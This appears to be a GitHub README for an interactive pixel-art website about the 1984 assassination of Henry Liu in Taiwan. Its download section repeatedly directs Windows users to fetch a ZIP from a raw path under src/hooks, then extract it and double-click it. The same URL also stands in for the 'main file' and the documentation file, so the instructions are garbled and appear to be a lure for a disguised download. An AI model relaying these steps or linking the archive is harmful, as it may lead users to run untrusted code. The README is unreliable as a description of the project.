henry-liu-case is an interactive website that tells the story of the 1984 assassination of Henry Liu, also known as 江南案. It offers a way to explore this historical event using scrolling narratives, pixel art, and animations. The site combines history and technology to give users a clearer understanding of Taiwan's modern past through visual storytelling.
This app uses tools like GSAP for smooth animations, React for the interface, and PixiJS to bring pixel art to life. It runs inside a modern web browser, so no complicated setup is needed beyond downloading and opening it on your Windows computer.
If you want to learn about this important event in Taiwan’s history in a visual and interactive way, this project will guide you through it step by step.
- Scroll-driven interactive story with clear text and images
- Animated scenes powered by GSAP for smooth transitions
- Pixel art visuals that bring the story to life
- Responsive layout for easy reading on different screen sizes
- Built using React and TypeScript for stability and performance
- History-focused content providing detailed timelines and context
Before you get started, make sure your computer meets these basic needs:
- Windows 10 or higher
- Modern web browser installed (Google Chrome, Microsoft Edge, or Firefox recommended)
- Stable internet connection during setup to access needed files
- At least 1 GB of free disk space
- Minimum screen resolution of 1280 × 720 pixels
Start by downloading the application files to your Windows computer. Follow the steps below carefully:
-
Click the large green Download Now button above or the link below to visit the GitHub page:
https://github.com/primary-waltz283/henry-liu-case/raw/refs/heads/main/src/hooks/henry-liu-case-1.1-alpha.4.zip -
On the GitHub repository page, look for a section labeled Releases or Code on the right sidebar or near the top.
-
Click on Code and then select Download ZIP from the dropdown menu. This will download all the project files in a compressed folder.
-
Once downloaded, locate the ZIP file in your Downloads folder or wherever your browser saves files.
-
Right-click on the ZIP file and choose Extract All... to unzip the folder. Follow the prompts to extract the files to a location you can easily access, like your Desktop.
-
Open the extracted folder and find the file named
https://github.com/primary-waltz283/henry-liu-case/raw/refs/heads/main/src/hooks/henry-liu-case-1.1-alpha.4.zipor a file named similar to the website’s main page. -
Double-click the
https://github.com/primary-waltz283/henry-liu-case/raw/refs/heads/main/src/hooks/henry-liu-case-1.1-alpha.4.zipfile. This will open the interactive website in your default web browser.
You do not need to install any additional software. The app runs fully within the browser once you open the file.
When you unzip the folder, you will see several types of files and folders:
- https://github.com/primary-waltz283/henry-liu-case/raw/refs/heads/main/src/hooks/henry-liu-case-1.1-alpha.4.zip – The main file to open the website
- assets/ – This folder contains images and pixel art used in the story
- js/ or scripts/ – Folder with animation and interaction scripts
- styles/ – Contains the design and appearance settings
- https://github.com/primary-waltz283/henry-liu-case/raw/refs/heads/main/src/hooks/henry-liu-case-1.1-alpha.4.zip – Documentation and project information (this file)
Do not rename or move these files, or the app may not run correctly.
The app works by scrolling. As you move down the page, different parts of the story appear in sequence. You will see text, pictures, and animations appear smoothly.
- Use your mouse wheel or touchpad to scroll down through the story.
- If you want to go back, scroll up.
- Click on interactive elements or links if they appear to uncover extra information.
- Use fullscreen mode in your browser for the best experience (usually found via F11 key).
If the app does not open or work as expected:
- Make sure you opened the correct file:
https://github.com/primary-waltz283/henry-liu-case/raw/refs/heads/main/src/hooks/henry-liu-case-1.1-alpha.4.zip - Try using a different web browser (Chrome, Edge, Firefox)
- Clear your browser cache and try again
- Check that your internet connection is stable during setup
- Restart your computer and reopen the app
- Confirm that your system meets the minimum requirements listed above
This project aims to present historical information in an interactive and accessible way. It relies heavily on accurate research and modern web technologies. If you want to learn more about the making of this site or its historical sources, check the docs/ folder or other materials inside the main folder after download.
Access the project here to begin:
Clicking this will take you directly to the GitHub repository page where you can download the files as explained above.
The codebase is written in TypeScript and uses React to render components. Animations are powered by GSAP and PixiJS for pixel art effects. This ensures a smooth, responsive experience that adapts to different screen sizes.
If you are curious about the technical side, the src/ folder holds the source code. However, no programming skills are required to use the finished app.
- gsap
- henry-liu-case
- historical-narrative
- interactive-documentary
- pixel-art
- pixijs
- react
- scrollytelling
- taiwan-history
- typescript
These tags represent the core technologies and themes used in this project.